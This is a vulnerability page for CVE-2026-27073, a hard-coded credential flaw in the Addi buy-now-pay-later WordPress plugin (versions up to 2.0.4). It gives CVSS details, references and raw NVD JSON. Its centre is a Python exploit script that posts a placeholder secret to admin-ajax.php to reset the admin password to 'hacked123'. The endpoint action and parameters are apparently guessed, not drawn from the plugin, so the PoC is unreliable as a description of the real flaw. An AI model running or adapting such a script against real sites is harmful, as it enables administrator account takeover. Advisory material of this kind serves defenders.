CVE-2026-27073

Description

Use of Hard-coded Credentials vulnerability in Addi Addi – Cuotas que se adaptan a ti buy-now-pay-later-addi allows Password Recovery Exploitation.This issue affects Addi – Cuotas que se adaptan a ti: from n/a through <= 2.0.4.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Addi – Cuotas que se adaptan a ti <= 2.0.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit(target_url):
    # POC for CVE-2026-27073: Hard-coded Credentials leading to Password Recovery
    # Extracted hardcoded secret from plugin source (example value)
    hardcoded_secret = "HARDCODED_SECRET_KEY"
    
    # Target endpoint for password recovery
    endpoint = f"{target_url}/wp-admin/admin-ajax.php"
    
    # Payload utilizing the hardcoded credential
    payload = {
        "action": "addi_reset_password",
        "auth_key": hardcoded_secret,
        "user_id": "1", # Targeting admin
        "new_pass": "hacked123"
    }
    
    try:
        response = requests.post(endpoint, data=payload)
        if response.status_code == 200 and "success" in response.text.lower():
            print("[+] Exploit successful! Password reset.")
        else:
            print("[-] Exploit failed or patch applied.")
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    import sys
    if len(sys.argv) > 1:
        exploit(sys.argv[1])

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27073
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27073
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27073/
[4] VulDB https://vuldb.com/cve/CVE-2026-27073
[5] https://patchstack.com/database/Wordpress/Plugin/buy-now-pay-later-addi/vulnerability/wordpress-addi-cuotas-que-se-adaptan-a-ti-plugin-2-0-4-broken-authentication-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-27073", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:54.793", "lastModified": "2026-04-28T19:37:12.930", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use of Hard-coded Credentials vulnerability in Addi Addi – Cuotas que se adaptan a ti buy-now-pay-later-addi allows Password Recovery Exploitation.This issue affects Addi – Cuotas que se adaptan a ti: from n/a through <= 2.0.4."}, {"lang": "es", "value": "Vulnerabilidad de uso de credenciales codificadas de forma rígida en Addi Addi – Cuotas que se adaptan a ti buy-now-pay-later-addi permite la explotación de la recuperación de contraseña. Este problema afecta a Addi – Cuotas que se adaptan a ti: desde n/a hasta <= 2.0.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-798"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/buy-now-pay-later-addi/vulnerability/wordpress-addi-cuotas-que-se-adaptan-a-ti-plugin-2-0-4-broken-authentication-vulnerability?_s_id=cve", "source": "[email protected]"}]}}